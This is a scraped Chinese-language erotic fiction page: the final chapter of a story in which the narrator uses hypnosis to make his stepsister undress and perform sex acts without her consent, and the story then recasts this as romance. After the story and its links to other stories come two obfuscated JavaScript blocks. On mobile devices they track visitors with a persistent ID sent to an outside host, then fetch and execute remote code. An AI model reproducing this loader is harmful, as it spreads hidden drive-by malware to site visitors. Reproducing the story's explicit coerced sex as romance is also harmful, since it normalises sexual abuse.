“什么……为什么的……”姐姐不可思议的看着我,“就算我们是姐弟,这样也太过分了!”

我摸着鼻子,“没关系,把胸罩脱掉吧。”

“我……”姐姐一开始似乎还想说什么,但随即停了下来,用一种有点迷茫却又不是全然无神的表情将手放到了背后,解开了胸罩的扣子,然后滑下了肩带,让胸罩落到了床上。

姐姐粉红色的可爱乳头,形状完美而圆润的乳房露了出来。

“干嘛啦,”姐姐抱着双臂遮住了我的视线,“一直盯着人家看。”

“你不是说不要脱吗?”

姐姐红着双颊,“就突然想脱了嘛,有什么关系?”她的双眼游移着,似乎很心虚的样子。

看着她为自己被催眠的行为辩解的模样真是太有趣了。

“既然这样,连下半身也脱光吧。”我摸着鼻子说着。

姐姐看着我皱了下眉头,似乎想说些什么,但是她没有说出口,反而是站了起来,解开了牛仔热裤的扣子,然后拉下了拉链,将裤子脱了下来,姐姐身上只剩下一件水蓝色的蕾丝内裤,她的手动了一下又停了下来,似乎相当犹豫的样子。

“内裤也脱掉吧。”我又说。

我的话解除了她的迟疑,她用小指勾住内裤的边带,轻轻的拉了下来,我从她下体稀疏的阴毛中隐约的看到她神秘诱人的蜜穴,当她将内裤从脚踝上拿了开来,放到了地上的时候,她才好像回过神来,有一点点慌张的感觉。

“怎么了?”我问,欣赏着她迷人的裸露胴体。

姐姐不断转着眼睛,然后用手挡住了自己的重点部位,“你再用那种眼神看我我要回房间了,”然后又好像想到了什么,“你到底什么时候才要开始催眠我啦?”

我都忘了她还在等着我的催眠,我笑着,“好啦,来这边坐着。”

姐姐一直避开我的眼神,双颊红得像苹果一样,然后她拿起了枕头抱在胸前,在我旁边坐了下来。

“在催眠之前,你可以先自慰来放松自己。”我说着。

“什么?”姐姐张大眼睛看着我。

“自慰啊,就是用手指玩自己的妹妹,你以前被催眠前都是这样做的。”

姐姐一脸困惑,有点不高兴的看着我,“什么嘛……我不要了。”

我又用手摸着鼻子,“你不是想被我催眠吗?自慰吧。”

姐姐看着我,表情稍微柔和了下来,她将手伸到胸前的枕头下面,慢慢的抽动着。

我摸着鼻子说着,“你觉得好舒服,你会感到身体比平常更加的敏感,可以舒服的发出声音,没关系的。”

“嗯……啊……”姐姐戚着眉头发出了哼声。

我继续摸着鼻子对她发出命令,“好舒服,停不下来了,除非我要你停止不然发生什么事,你都会继续手淫下去。”我说着,然后把她胸前碍事的枕头抽走。

姐姐的手指淫荡的在阴穴抽动的模样一览无遗。

“嗯……不要看啦,好丢脸。”姐姐用左手遮住了自己的脸,右手的抽动一点也没停止下来。

这可不行,如果姐姐没看到我摸鼻子的动作,催眠命令会不管用的,我把她的手拿开,摸着鼻子说着,“看着我,不要觉得丢脸,好好的做,让自己舒服一点。”

姐姐的眼神愈来愈涣散,透露着淫糜的气息。

我俯下身舔弄着她的乳头,然后她的肚脐,再把她的双腿搬到了床上,让她呈现M字形的羞耻坐姿,继续舔弄着她的脚指,沿着小腿一直吻到她的大腿内侧,姐姐湿润的蜜穴传出诱人的气味。

“啊……啊……”姐姐的声音频率愈来愈高,身体不断颤抖着。

“还不能高潮喔,得到我的允许之后你才能高潮。”我又命令着。

“嗯……喔……啊啊呀………!”一连串的淫叫之后,姐姐的动作稍微慢了下来,不断喘着气,好像忍住了一波的冲击。

我拨开她额头前散乱的头发,温柔的帮她抹去汗珠,姐姐用着迷乱的眼神看着我,手指抽弄阴穴的动作一直没停过。

“啊……嗯……呀呀……”姐姐又一阵呻吟之后,翻倒到了床上,整个人蜷曲成一团,不住的抽搐着,“啊啊……不行了……要坏掉了……”

这一刻,姐姐看起来那么的渺小,那样的惹人怜惜,我抚摸着她的娇驱,然后脱掉了裤子也坐到了床上。

“过来帮我吹,等我射精后你就可以高潮了。”

姐姐很快的过来趴在我的大腿间,让我涨的火热的肉棒整个含了进去。

我感到姐姐的舌头灵活的翻搅着,和刚才我趁她无意识的时候插入时完全是不同的感觉,她的头在我的跨下不断的起伏,迫切的想让我射精,一只手抚摸着我的子孙袋,另一只手仍不断的手淫。

巨大的快感在我的下体酝酿、膨胀……

“啊……要射了……”我低吟着,将所有的能量射进她的嘴里,感觉射出的精液比自己用双手来时多了好几倍的量。

“啊……啊……!”姐姐颤抖着身体,发出了比之前都还要尖锐的唿喊,似乎也获得了高潮。

高潮过后,她放松了下来平躺在床上,但手指仍在阴穴轻轻的抠着,嘴里还含着我的精液。

“当我拍两下手之后,你就会清醒过来,记得自己被催眠的事情了。”

我说着,不知道自己哪来的胆子,也许是片子看得太多,就喜欢看到女人在催眠清醒之后错愕的模样,虽然我无法预期姐姐会有怎么样的反应,但我想不管怎样,我至少能再让她回到催眠状态。

啪、啪。

姐姐的眼神亮了起来,然后惊醒般的坐了起来,将嘴里的白色液体吐到了手上,微皱着眉头,“卫生纸……”姐姐没有看我,像在自言自语般喃喃的说着。

“啊?”我有点讶异,一时竟反应不过来。

“卫生纸在哪啦?”姐姐转过头看着我,有点生气的模样,但又不是真的动怒的感觉……

我赶紧抽了几张卫生纸给她,也是,把那玩意搞到床上可是很难清理的,没想到姐姐在这种状况下还在乎着这些些事情?

“好过份!你怎么可以这样欺负我?”姐姐一边用卫生纸擦去身上的精液一边说着。

我不确定是不是我的错觉,姐姐的声音虽然有点生气,但其实更像是在撒娇,微微发怒的眼神十分的可爱。

“我们以前常这样吗?”姐姐看着我说着,“我该不会……喜欢做这种事吧?”

姐姐似乎已经认定这不会是第一次了,我当然不会……或者该说是不敢告诉她实话,“那么……你喜欢吗?”

“讨厌!”姐姐羞红脸低下了头。

我靠近她,轻轻的吻着她的额头,然后抬起了她的下巴,深情的吻着她,姐姐没有反抗,自然的配合着我。

这次我没有再用催眠,当我进入姐姐的身体时,我感受到姐姐小穴的肉壁紧紧的缠住我的肉棒,像是要吞没我一般,这种感受比之前的口交更像是上了天堂,我们十指紧扣,身心都融合在了一起。

最后我将满满的精华射进她的体内……

略做休息之后,姐姐躺在床上喘着气,满脸幸福的表情。

“姊,看着我。”我对姐姐说着。

“嗯?”姐姐慢慢的转过头来,等到我确定她的眼神对向我之后,我朝她的脸吹了一口气,姐姐立刻闭上眼睛,回到了催眠状态。

之前的催眠暗示的确还很完美的生效呢。

不过,我并没有想做什么,只是要解开姐姐的催眠状态而已,其实为什么要解除,我也不是很清楚,不过上催眠课时老师也都是会确实的让学员离开催眠状态,或许不这样做会有什么后遗症吧?

虽然觉得有点可惜,姐姐以后也不知道还让不让我催眠,不过我更不想对她造成什么伤害,还是老老实时的做吧。

我离开床上,随便套了件衣服,走到姐姐的旁边说着,“姐姐,仔细的听着,这次当我数到三之后,你就会完全的从催眠状态中清醒过来,所有的催眠暗示都不再对你有用,了解吗?”

姐姐点了点头。

“一、二、三!”

姐姐张开眼睛,整个身体几乎是弹了起来,不断眨着眼,表情显得十分的复杂,我完全弄不清是怎么回事,本来我还期待她醒来后对我微笑,然后我再温柔的吻她一下的。

“啊啊啊!!!!”姐姐抱着头大叫了一声。

我吓了一大跳,这到底是怎么回事?“姊,你怎么了?”我握住姐姐的肩膀,却被她大力的甩掉,一个重心不稳退了好几步。

“不要碰我!下流!!”姐姐抬起头狠狠的看着我,眼中噙着泪光,“你怎么可以对我做这种事情!!”

姐姐拿起了枕头用力的朝我丢了过来,然后光着身子跑出了房门,我追了出去,却发现姐姐已经回到自己的房间,关上了门。

“姊?¬”我试着把门打开,但姐姐已经锁起了门,我敲了敲门。

“滚开!离我远一点!”姐姐在房间里喊着,声音中带着哽咽。

我听到姐姐在房间里啜泣的声音,不知道该怎么做,也不知道到底发生了什么,虽然先前是催眠了她,不过我后来也没有命令她和我做爱啊,为什么刚才那么温柔的姐姐,会突然变了个人?

姐姐恢复记忆了!

对,一定是这样,这么来看,她刚才的反应也都能够理解了。

“怎么办?”我在心里想着,感觉整个身体瘫软了下来,呆呆的跌坐在地上。

不知到过了多久,我看着姐姐的房门,什么也说不出来,前一刻,我还觉得自己上了天堂,现在却立刻落入了地狱,为什么刚才那么轻易的叫醒了她?为什么刚才没有催眠她忘了一切?

因为那一刻,我觉得我们的心是连在一起的。

我鼓起了勇气走到了房门前。

“姐姐,可以听我说吗?”我靠在房门外,对着里面说着,“请相信我,我不是存心……”我停了下来,犹豫着,一时之间不知道该用怎么样的词,强暴?迷奸?在姐姐的心里我做了那么过分的事吗?

“我不是存心对你做出这种事情的,”我避开了尖锐的用词,“我以为你愿意……以为我们两情相悦,所以我才会……”我停了一下,听着姐姐的房里传来的啜泣声,“相信我,我不希望你难过,我一点也不想看到你生气失望的模样,我喜欢你的笑容。”

我感到情绪十分的紊乱,其实连我自己都不确定,我说的话到底有几分真实,不过,至少最后一句话是百分之百真实的,我喜欢她的笑容。

“你知道吗?昨天以前,在我的记忆里,我好像从来没有看过你笑,你总是那么认真、那么严肃,每次在你面前,我总觉得自己一无是处,觉得喘不过气来,”我做了一个深唿吸,继续说着,“说起来很可恶,明明自己才不属于这个家,我却偶尔会想着,如果你消失的话该有多好……”

“我没有归属感,自从妈妈过世以后,我就觉得自己根本不该被生出来,觉得全世界都对不起我,”我说的话多少有点前后矛盾,但我的人生就是这么矛盾,一方面觉得自己很悲苦,却又用着父亲的钱过着优渥的生活,“可是我现在不一样了,我不再是那个可恶的小鬼,因为我找到了,我无论如何都想守护的人!”

我做了一个深唿吸,对着房门说着,“姊,我爱你,我会负起责任的。”

我望着房门,希望能等到姐姐的回应,可是整个房里静默无声,连姐姐啜泣的声音也消失了,我只听得见自己的喘气声,,我心里突然扬起很不好的预感,“姊!”我敲着房门喊着,然后将耳朵贴在门上认真听着,仍然没有任何的声音。

“姊!听得见吗!”我大喊着,不断的敲着门,姐姐的房里仍然没有一点声响。

天啊,如果姐姐发生了什么事,我这辈子都不会原谅自己的!

“姊!快开门!”我疯了似的吼着,然后拼命的用身体撞着房门,应该不会是很长的时间,但我感觉几乎过了半世纪,门才终于被我撞开。

我心里做出最坏的想像,但却只看到姐姐已经穿上了衣服,坐在房门对面的角落,静静的看着我。

“你以为我怎么了?”姐姐冷冷的说着,慢慢的站了起来,“你以为我会自杀吗?”

答案当然是肯定的,但我看着姐姐,不敢回答。

“我才不像你那么懦弱!”她激动的喊着,眼泪夺眶而出,“你自己从来不把自己当成这个家的人,你要我怎么认同你!”姐姐看着我,不断喘着气。

说实话,我其实不是很明白姐姐这些话的用意,我只想告诉她我不再是那个懦弱的人,我走向前去,紧紧的拥着她,我感到姐姐纤细的肩膀微微的颤抖着,但她没有抗拒,静静的将脸贴在我的胸膛。

真希望时间永远停留在此刻。

“你要负责帮我把门修好。”姐姐在我怀里咕哝着。

我和姐姐成为了恋人的关系。

有了奋斗目标的我也终于找到了工作,进入了社会人的轨道,虽然薪水差姐姐一大截,不过我会用自己的方式努力的,总有一天,我会让姐姐对我刮目相看,剩下的,就是不知道怎么让继父知道这件事。

他不知道会不会很生气,不过我和姐姐又没有血缘关系,孤男寡女共处一室本来就很容易出事啊,他或许也不会太震惊吧,反正他也还有好几个月才回来,到时候再烦恼吧。

就这样,很开心的结局。

好像忘了什么事情……

姐姐为什么会失忆?

其实是很无聊的原因,姐姐告诉我,她前一阵子因为压力很大去看了心理医生,心理医生催眠她以后,建议她‘被催眠后就忘掉一切’来肆放压力,当然每次结束时心理医生都会好好的让她恢复正常。

可是那天舞台催眠的时候,催眠师只解开了‘今晚的催眠暗示’,所以失去记忆的暗示就被保留了下来,隔天我催眠姐姐时,解开她所有的催眠暗示,她才又恢复了记忆。

其实我们也不想再追究,反正,姐姐再也不需要去找心理医生了,当她又觉得有压力的时候,我的催眠舒压方式可是比医生好上太多了。

────全文完────


上一篇:陪我长大的曾阿姨

下一篇:小姨子的贞操


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};